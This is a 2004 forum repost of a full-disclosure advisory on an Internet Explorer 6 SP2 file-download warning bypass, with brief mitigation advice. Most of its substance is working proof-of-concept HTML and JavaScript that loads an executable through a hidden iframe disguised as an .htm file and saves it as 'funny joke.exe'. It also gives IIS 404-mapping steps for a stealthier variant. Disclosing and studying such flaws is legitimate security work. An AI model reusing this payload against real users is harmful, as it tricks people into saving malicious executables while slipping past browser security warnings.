Internet Explorer 6.0 SP2 File Download Security Warning Bypass Exploit

Posted: 11-21-2004, 06:10 PM
Internet Explorer 6.0 SP2 File Download Security Warning Bypass
Exploit
http://www.k-otik.com/exploits/20041...2Unpatched.php

Microsoft Internet Explorer (including IE for Windows XP SP2) is
reported vulnerable to a file download security warning
bypass. This unpatched flaw may be exploited to download a malicious
executable file masqueraded as a HTML file.

Secunia did not release the technical details (aka Security by
Obscurity) thus we publish this page (aka Full Disclosure)

Solution

[EN] Disable Active Scripting and the "Hide file extensions for known
file types" option [Tools->Folder Options->View]
[FR] Désactivez Active Scriptig et l'option "Masquer les extensions
des fichiers dont le type est connu [Panneau de
configuration -> Options des dossiers -> Affichage]


Credits : go to cyber flash


How does it work ? A.K.A Exploit

The following code requires no special server setup, and should work
from any webpage that IE 6.0 fetches:

<html>
<body>
<iframe src='http://domain.com/v.exe?.htm' name="NotFound" width="0"
height="0"></iframe>Click
<a href=#
onclick="javascript:document.frames.NotFound.docum ent.execCommand('SaveAs',1,'funny
joke.exe');">
here</a>.
</body>
</html>

Also, here's an example that requires modifying the IIS Error Mapping
Properties (see below):
<html>
<body>
<iframe src='vengy404.htm' name="NotFound" width="0"
height="0"></iframe>Click
<a href=#
onclick="javascript:document.frames.NotFound.docum ent.execCommand('SaveAs',1,'funny
joke.exe');">
here</a>.
</body>
</html>

Steps to configure IIS:

Launch Internet Information Services manager.
Under the 'Custom Errors' tab, modify the Error Mapping Properties as
follows:

1. Error Code: 404
2. Default Text: Not Found
3. Message Type: URL
4. URL: /v.exe (name of the executable)

Within the HTML page, insert an IFRAME as follows:

<iframe src='vengy404.htm' name="NotFound" width="0"
height="0"></iframe>

The file 'vengy404.htm' intentionally doesn't exist on the server, so
it will trigger a 404 error message as defined above. But, the
javascript code below references the stealthy v.exe data within the
frame 'NotFound' and is linked to 'funny joke.exe' when prompted to
save the file:

javascript:document.frames.NotFound.document.execC ommand('SaveAs',1,'funny
joke.exe');


» The original advisory (mirrored by K-OTik) is available here

--
Jose Manuel Tella Llop
MVP - Windows
jmtella@XXXcompuserve.com (quitar XXX)
http://www.multingles.net/jmt.htm

Este mensaje se proporciona "como está" sin garantías de ninguna
clase, y no otorga ningún derecho.

This posting is provided "AS IS" with no warranties, and confers no
rights.
You assume all risk for your use.
Reply With Quote

Responses to "Internet Explorer 6.0 SP2 File Download Security Warning Bypass Exploit"

 
LinkBack Thread Tools Display Modes
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Security prompt everytime I start Internet Explorer Thomas Jespersen Windows Vista Security 3 09-11-2006 09:39 AM
Microsoft IE Custom 404 Error Message and execCommand SaveAs Lets Remote Users Bypass XP SP2 Download Warning Mechanisms JM Tella Llop [MVP Windows] Windows XP Configuration & Management 0 11-21-2004 06:09 PM
internet explorer 6 download prob Windows XP Help & Support 1 10-18-2003 04:36 PM
file download window in windows explorer freezes bingo Windows XP Help & Support 1 09-08-2003 04:52 AM
Disable Explorer Security Warning Michel Lapointe Windows XP Security & Administration 7 07-09-2003 02:22 PM


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90